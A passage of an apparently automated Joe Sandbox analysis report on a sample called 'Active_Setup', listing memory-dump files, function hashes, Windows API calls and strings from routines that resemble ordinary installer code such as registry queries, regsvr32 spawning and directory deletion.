Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CreateFullInstanceNamePath
String ID:
API String ID: 378385362-0
Opcode ID: 985bf16868358c7c86f942ea386cd3580429dceb412085ebe1858e558761b653
Instruction ID: 2b7614b0164db9b265eee3a02de90fcc07f8f5a6c57eeb6d15f568669cbee4a9
Opcode Fuzzy Hash: 985bf16868358c7c86f942ea386cd3580429dceb412085ebe1858e558761b653
Instruction Fuzzy Hash: 32214571650209AFEB14EB64DC96FAEB7ECEB45700F1044BAB404D3261E774AA049A21

Function 00887600 Relevance: .6, Instructions: 554COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Offset: 00877000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_86c000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2521ea76fa6f3cf7d521ecb3a061b3736da2e6bb212bb4d91124c9db926722c
Instruction ID: b915d027834a73e07a29494e2289a9bdc06d33d12787504d154e5f283b971eb1
Opcode Fuzzy Hash: b2521ea76fa6f3cf7d521ecb3a061b3736da2e6bb212bb4d91124c9db926722c
Instruction Fuzzy Hash: F912005284E3C10FDB179B744D79591BF70AE2321472E86DFC8C68F4A3E249994AD363

Function 0087EC00 Relevance: .5, Instructions: 536COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Offset: 00877000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_86c000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27e62bfa6c385ae367a06ffffc4bf069c4ddcc61cf0137823afad7ea16b296cc
Instruction ID: 5a19d6c959bce686291f83005de0b948f4afedf09116f14d00403fdefb2afdc0
Opcode Fuzzy Hash: 27e62bfa6c385ae367a06ffffc4bf069c4ddcc61cf0137823afad7ea16b296cc
Instruction Fuzzy Hash: 1902CD39058272DFEB43AABC841869137E5EE2729474691F1EA54CF275FF264805CBF0

Function 008817DF Relevance: .3, Instructions: 318COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Offset: 00877000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_86c000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10b52a51f9458070bbc1aebb9ea44af7edcea8874c2790096c64a20c33511ff8
Instruction ID: 32f0ebb515d22375fba338693e56228877eb2cb78b259391dcaebf0b7df5e68e
Opcode Fuzzy Hash: 10b52a51f9458070bbc1aebb9ea44af7edcea8874c2790096c64a20c33511ff8
Instruction Fuzzy Hash: 1AE1DBA294E3D18FDB079B7498296917FB0AF17208B1E45EBC0C5CF0F3E659584AC762

Function 00887241 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2141127002.0000000000877000.00000004.00000020.00020000.00000000.sdmp, Offset: 00877000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_86c000_Active_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e067207f097d6fca6670f427539fead97fb4a2281df71cf8264f8982f31f8082
Instruction ID: 3cfd6c6360f5d6ead6f3c209925467756204c38cea749b65d7568b2274c08a64
Opcode Fuzzy Hash: e067207f097d6fca6670f427539fead97fb4a2281df71cf8264f8982f31f8082
Instruction Fuzzy Hash: 752122611092D08FD313CF34D494A82BFA1FF8B31639E40DCD8C18F427C2A6A542CB42

Function 00AA8990 Relevance: 37.7, APIs: 25, Instructions: 247windowCOMMON

Download Yara Rule

APIs

CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00AA89D3
SelectObject.GDI32(?,?), ref: 00AA89E8
MaskBlt.GDI32(?,?,?,?,?,?,?,?,?,?,?,CCAA0029,00000000,00AA8A5A,?,?), ref: 00AA8A2C
SelectObject.GDI32(?,?), ref: 00AA8A46
DeleteObject.GDI32(?), ref: 00AA8A52
CreateCompatibleDC.GDI32(00000000), ref: 00AA8A68
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00AA8A89
SelectObject.GDI32(?,?), ref: 00AA8A9E
SelectPalette.GDI32(?,75080985,00000000), ref: 00AA8AB2
SelectPalette.GDI32(?,?,00000000), ref: 00AA8AC4
SelectPalette.GDI32(?,00000000,000000FF), ref: 00AA8AD9
SelectPalette.GDI32(?,75080985,000000FF), ref: 00AA8AEF
RealizePalette.GDI32(?), ref: 00AA8AFB
StretchBlt.GDI32(?,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 00AA8B1D
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,?,?,?,?,00440328), ref: 00AA8B3F
SetTextColor.GDI32(?,00000000), ref: 00AA8B47
SetBkColor.GDI32(?,00FFFFFF), ref: 00AA8B55
StretchBlt.GDI32(?,?,?,?,?,?,?,?,?,?,008800C6), ref: 00AA8B81
StretchBlt.GDI32(?,?,?,?,?,?,00000000,00000000,?,?,00660046), ref: 00AA8BA6
SetTextColor.GDI32(?,?), ref: 00AA8BB0
SetBkColor.GDI32(?,?), ref: 00AA8BBA
SelectObject.GDI32(?,00000000), ref: 00AA8BCD
DeleteObject.GDI32(?), ref: 00AA8BD6
SelectPalette.GDI32(?,00000000,00000000), ref: 00AA8BF8
DeleteDC.GDI32(?), ref: 00AA8C01

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Select$ObjectPalette$ColorStretch$CompatibleCreateDelete$BitmapText$MaskRealize
String ID:
API String ID: 3976802218-0
Opcode ID: d714cf7be3425a45dc850491da800f22116304f0acefe5ebff82558a6209fa70
Instruction ID: 40c64f45c9313af7ea46c3e81718cf0978b8c3370ae9548581921c99c39fc9e6
Opcode Fuzzy Hash: d714cf7be3425a45dc850491da800f22116304f0acefe5ebff82558a6209fa70
Instruction Fuzzy Hash: 6C8190B2A40619AFDB50EFA8CD81FAF7BECAB4D750F164515F618E7281C634AD008B61

Function 00BC03A0 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 255registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7CC2C: RegOpenKeyExW.ADVAPI32(80000003,.DEFAULT\Control Panel\International,00000000,00B7D38B,?,?,?,00B7D329,00000001,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00B7D38B), ref: 00B7CC48

RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,?,00000000,00BC0644,?,?,00000003,00000000,00000000,00BC068A), ref: 00BC04C1

Part of subcall function 00B7D7D4: FormatMessageW.KERNEL32(00003200,00000000,00000000,00000000,?,00000400,00000000,00000000,00B81AF6,00000000,00B81B49,?,00B81D2C), ref: 00B7D7F3

RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000004,00000000,00BC0580,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00BC0542
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000004,00000000,00BC0580,?,?,00000000,00000000,?,00000000,?,00000000), ref: 00BC0569

Strings

RegOpenKeyEx, xrefs: 00BC043B
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00BC03DD
Software\Microsoft\Windows\CurrentVersion\SharedDLLs, xrefs: 00BC0416
, xrefs: 00BC0432

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: QueryValue$FormatMessageOpen
String ID: $RegOpenKeyEx$Software\Microsoft\Windows\CurrentVersion\SharedDLLs$Software\Microsoft\Windows\CurrentVersion\SharedDLLs
API String ID: 2812809588-1577016196
Opcode ID: 77625adc8177f64e83469f546370e17825f48a85541a1e9296557424d0c82935
Instruction ID: 4f84326f451cecf1f23445aaf87713b97c7b866345d191e446b839e4ae996b22
Opcode Fuzzy Hash: 77625adc8177f64e83469f546370e17825f48a85541a1e9296557424d0c82935
Instruction Fuzzy Hash: C6913C71E14209EFDB05EFA8D882FEEBBF8EB88700F10446AF504E7291D77499058B65

Function 009D6244 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61windowregistryCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(MouseZ,Magellan MSWHEEL), ref: 009D625C
RegisterWindowMessageW.USER32(MSWHEEL_ROLLMSG), ref: 009D6268
RegisterWindowMessageW.USER32(MSH_WHEELSUPPORT_MSG,MSWHEEL_ROLLMSG), ref: 009D6277
RegisterWindowMessageW.USER32(MSH_SCROLL_LINES_MSG,MSH_WHEELSUPPORT_MSG,MSWHEEL_ROLLMSG), ref: 009D6283
SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 009D629B
SendMessageW.USER32(00000000,?,00000000,00000000), ref: 009D62BF

Strings

MSH_WHEELSUPPORT_MSG, xrefs: 009D6272
Magellan MSWHEEL, xrefs: 009D6252
MSWHEEL_ROLLMSG, xrefs: 009D6263
MSH_SCROLL_LINES_MSG, xrefs: 009D627E
MouseZ, xrefs: 009D6257

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Message$Window$Register$Send$Find
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 3569030445-3736581797
Opcode ID: 2141926bbf98b049c2e0c83f633a97a7392c80daba85a97e9fc5994cef1538e3
Instruction ID: 9738f51ffca305b9ad3cd20e7c224d093e694e1323df8d30e076c3ddacfbc00f
Opcode Fuzzy Hash: 2141926bbf98b049c2e0c83f633a97a7392c80daba85a97e9fc5994cef1538e3
Instruction Fuzzy Hash: CF11FA71284306EFE7109FA5CC82B6AB7A8EF84754F21C426BA549F381D7B19D40CB64

Function 009EA2B0 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 257threadCOMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000001,00000000,009EA611,?,?,?,?,00000000,00000000), ref: 009EA2D7
GetThreadLocale.KERNEL32(?,00000001,00000000,009EA611,?,?,?,?,00000000,00000000), ref: 009EA2E0

Part of subcall function 009E9F48: GetLocaleInfoW.KERNEL32(?,0000000F,00000003,00000003), ref: 009E9F5D

Part of subcall function 009E9EFC: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 009E9F1A

Strings

AMPM , xrefs: 009EA58B
2, xrefs: 009EA5EB
m/d/yy, xrefs: 009EA3E1
mmmm d, yyyy, xrefs: 009EA411
AMPM, xrefs: 009EA57C
:mm, xrefs: 009EA5A1
:mm:ss, xrefs: 009EA5C2

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Locale$Info$ThreadValid
String ID: AMPM$2$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 233154393-3379564615
Opcode ID: 2e6be80b3f55d8af968f1b20e4e31fdd387c0f832730236780b9ab038c2a5da1
Instruction ID: 63d0defe9b2bddac43e94af89b6ba47379eb00ec34eeadbe8fc6d62161c4d198
Opcode Fuzzy Hash: 2e6be80b3f55d8af968f1b20e4e31fdd387c0f832730236780b9ab038c2a5da1
Instruction Fuzzy Hash: AE916230A0018C9BDB02EBA6D881BDE73A9EF89700F548076F504DB656DB39EE068756

Function 00B7E3FC Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 212filepipeCOMMON

Download Yara Rule

APIs

PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00B7E674,?,?,?,?), ref: 00B7E43D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,00000000,00000000,00B7E674,?,?,?,?), ref: 00B7E457
GetLastError.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00B7E674,?,?,?,?), ref: 00B7E467
ReadFile.KERNEL32(?,00000000,00000000,?,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00B7E674,?,?,?), ref: 00B7E4E8
GetLastError.KERNEL32(00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00B7E674,?,?), ref: 00B7E504

Strings

Maximum output length (%d) reached, ignoring remainder., xrefs: 00B7E61E
PeekNamedPipe failed (%d)., xrefs: 00B7E476
ReadFile failed (%d)., xrefs: 00B7E513

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: ErrorLast$FileNamedPeekPipeRead
String ID: Maximum output length (%d) reached, ignoring remainder.$PeekNamedPipe failed (%d).$ReadFile failed (%d).
API String ID: 3886173705-1377028718
Opcode ID: 39b11dd18af0951c001bf0609143c8b0fdb5ea84313db8843338e3173535ee25
Instruction ID: 09a69d13cb9078728a84b46c2b9aea1338598b9b829b503389b5e070f6448437
Opcode Fuzzy Hash: 39b11dd18af0951c001bf0609143c8b0fdb5ea84313db8843338e3173535ee25
Instruction Fuzzy Hash: F381E071A04248EFDB10DBA8C681F9EBBF5AF58304F2581E5E428AB352D730EE40DB55

Function 00BD621C Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 91COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,00BD633A,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00BDBDC5,00000000,00BDBDD9), ref: 00BD6242

Part of subcall function 009D5434: GetProcAddress.KERNEL32(?,?), ref: 009D5458

LoadTypeLib.OLEAUT32(00000000,00000000), ref: 00BD6286

Part of subcall function 00BBEAC0: GetLastError.KERNEL32(00000000,00BBFB37,00000005,00000000,00BBFB54,?,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00C60DBF,00000000), ref: 00BBEAC3

Strings

ITypeLib::GetLibAttr, xrefs: 00BD62AE
OLEAUT32.DLL, xrefs: 00BD623D
GetProcAddress, xrefs: 00BD6255
LoadTypeLib, xrefs: 00BD6291
UnRegisterTypeLib, xrefs: 00BD62E4
UnRegisterTypeLib, xrefs: 00BD6238

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: 39fe5e7131d9cf0372b85f05185aa48255529d9fb635502ac08ec416f5dc8a60
Instruction ID: b58e5b18b27c997ff996ddbf34c83b31fa0f842baf50fbed7aa9809139666d52
Opcode Fuzzy Hash: 39fe5e7131d9cf0372b85f05185aa48255529d9fb635502ac08ec416f5dc8a60
Instruction Fuzzy Hash: 53212771A00604AF9714EBA9CC56EAFB7EDEF8971070184A6F414E7322EA74ED018B61

Function 00BD66C0 Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 125COMMON

Download Yara Rule

APIs

Part of subcall function 00B7C700: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00B7C713

CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00BD6874,?, /s ",00C7EC44,regsvr32.exe",?,00BD6874), ref: 00BD67DE

Strings

Spawning 32-bit RegSvr32: , xrefs: 00BD6773
Spawning 64-bit RegSvr32: , xrefs: 00BD6759
/u, xrefs: 00BD672A
CreateProcess, xrefs: 00BD67D0
regsvr32.exe", xrefs: 00BD670F
/s ", xrefs: 00BD6737
0x%x, xrefs: 00BD6801
D, xrefs: 00BD6794

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: CloseDirectoryHandleSystem
String ID: /s "$ /u$0x%x$CreateProcess$D$Spawning 32-bit RegSvr32: $Spawning 64-bit RegSvr32: $regsvr32.exe"
API String ID: 2051275411-1862435767
Opcode ID: 1ab2f244af2c46430186c24f32766522f8f1ddfd688c1351cbea51ee6a50ff7c
Instruction ID: ed7d261a9b30d90171a27e1418a9a10afda171e186c1ef5e52e0ea0ded070be9
Opcode Fuzzy Hash: 1ab2f244af2c46430186c24f32766522f8f1ddfd688c1351cbea51ee6a50ff7c
Instruction Fuzzy Hash: 1D411B71E0020C9BDB14EBE5C892B9DFBF9EF48304F6040BAA504A7352EB719E059B55

Function 00BDA9C0 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00BDAB3E,?,00000000,?), ref: 00BDAA88

Part of subcall function 00BBFE6C: FindClose.KERNEL32(000000FF,00BBFF63), ref: 00BBFF50

Strings

Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00BDAAF5
Failed to delete directory (%d). Will retry later., xrefs: 00BDAAA1
Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00BDAA62
Deleting directory: %s, xrefs: 00BDAA0F
Failed to delete directory (%d)., xrefs: 00BDAB16
Failed to strip read-only attribute., xrefs: 00BDAA56
